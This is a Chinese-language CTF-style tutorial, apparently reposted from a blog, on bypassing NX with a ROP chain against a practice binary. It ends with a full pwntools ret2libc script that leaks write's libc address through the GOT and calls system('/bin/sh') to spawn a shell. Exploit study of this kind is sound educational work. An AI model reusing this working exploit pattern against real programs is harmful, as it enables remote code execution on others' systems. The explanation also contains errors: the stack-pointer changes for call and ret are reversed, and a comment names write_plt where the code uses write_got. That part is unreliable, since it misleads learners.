NX 棧不可執行的繞過方式--ROP鏈


  • 目標程序下載
    提取碼:5o0a

  • 環境:Ubuntu linux

  • 工具

    1. pwn-gdb
    2. pwntools python庫
    3. ROPgadget

( 這些工具可以到github官網找)

1.檢查程序開了哪些安全機制

checksec 檢查保護機制
    Arch:     amd64-64-little
    RELRO:    No RELRO              
    Stack:    No canary found       金絲雀
    NX:       NX enabled            棧不可執行Windows平台上稱其為DEP
    PIE:      No PIE (0x8048000)    內存地址隨機化機制,Windows平台上稱其為ASLR

2.在ida中靜態查看看程序中的漏洞點

可以看到 buf 這個字符串數組只有0x80的大小,但是卻可以 read 0x200 個字節

多出來的 0x200-0x80 就會造成溢出

函數調用方式的基本介紹

32位程序默認調用函數的方式為先將參數壓入棧中,靠近call指令的是第一個參數

而64位程序默認調用函數的方式則不同

  • RDI 中存放第1個參數
  • RSI 中存放第2個參數
  • RDX 中存放第3個參數
  • RCX 中存放第4個參數
  • R8 中存放第5個參數
  • R9 中存放第6個參數
  • 如果還有更多的參數,再把過多那幾個的參數像32位程序一樣壓入棧中
  • 然后 call

rop 的基本介紹

這里只說一下64位程序的rop,了解完64位的rop,32位的程序稍微做一下函數調用方式上的改變就好了

比如:現在有3個函數 a(&arg1,arg2),b(arg3,arg4),c(arg1),其中b函數有棧溢出漏洞,a函數是個輸入函數,c函數是system函數

我們要利用b函數的漏洞,運行c函數,而c函數需要從a函數上得到"/bin/sh"這種參數

該怎么做呢?

首先我們要知道 call 指令與 ret 指令是有兩步操作的

call指令:

1. 先把下一句指令的地址壓入棧頂 rsp+=8
2. 跳轉到call后面跟的地址上去

ret指令:

1. 跳轉到rsp所指的地址(之前的call壓入的)
2. rsp-=8

如果我們調用函數時不使用call指令呢?

函數結束時,移動棧頂(清棧) jmp [rsp] ,rsp-=8

程序中找 pop rsi,pop rdi,ret 這種相連的指令(不相連也可以,不要再影響rsi,rdi就好),把地址記錄下來pop_ret

程序中找 pop rdi,ret 這種相連的指令,把地址記錄下來pop_ret2

好,我們把c函數的rbp+8的位置寫 pop_ret 的地址

  • rbp+8 pop_ret
  • rbp+16 arg2
  • rbp+24 arg1
  • rbp+32 a函數的地址
  • rbp+40 pop_ret2
  • rbp+48 arg1
  • rbp+56 c函數的地址

當b運行結束后,會返回到 pop_ret 位置

pop rsi rsi=arg2

pop rdi rdi=agr1

jmp a函數

a函數 執行完后 會ret 到pop_ret2

pop rdi rdi=arg1

然后運行c函數


回到我們的目標程序

gdb打開程序

gdb level3_x64 -q
b mian

vmmap

查看libc的系統位置

ROPgadget --binary level3_x64 --only 'pop|ret'

找到main函數的地址

from pwn import *
p = process("./level3_x64") #本地調試
#p = remote("x.x.x.x",xxxx) #遠程調試remote(ip,port)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
elf = ELF("./level3_x64")

pop_rdi_ret = 0x4006b3
pop_rsi_r15_ret = 0x4006b1
main_addr = 0x40061A
write_plt = elf.plt["write"]
write_got = elf.got["write"]

padding = (0x80 + 8 ) * "a"
#0x80字符串長度要覆蓋過去,+8是要覆蓋rbp

payload1 = padding + p64(pop_rdi_ret) +\
 p64(1) + p64(pop_rsi_r15_ret) + p64(write_got) +\
 p64(0) + p64(write_plt) + p64(main_addr)
#通過plt表中的write調用 write(1,write_plt,...)
#第三個參數只要當前rdx寄存器中的數大於8就好
#然后返回main函數重新運行,准備重新觸發漏洞

p.sendafter("Input:\n",payload1)
addr = u64(p.recv(6).ljust(8,"\x00"))
#通過write_plt找泄露libc中write的地址 

libc.address = addr - libc.symbols["write"]
#通過write的地址 找libc基地址

binsh=libc.search("/bin/sh").next()
#通過libc基地址找libc中這個字符串的地址

system=libc.symbols["system"]
#通過libc基地址找libc中systemp函數的地址

payload2 = padding + p64(pop_rdi_ret)+ p64(binsh)+p64(system)
#system("bin/sh") 

p.send(payload2)
p.interactive()

成功啟動了shell


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM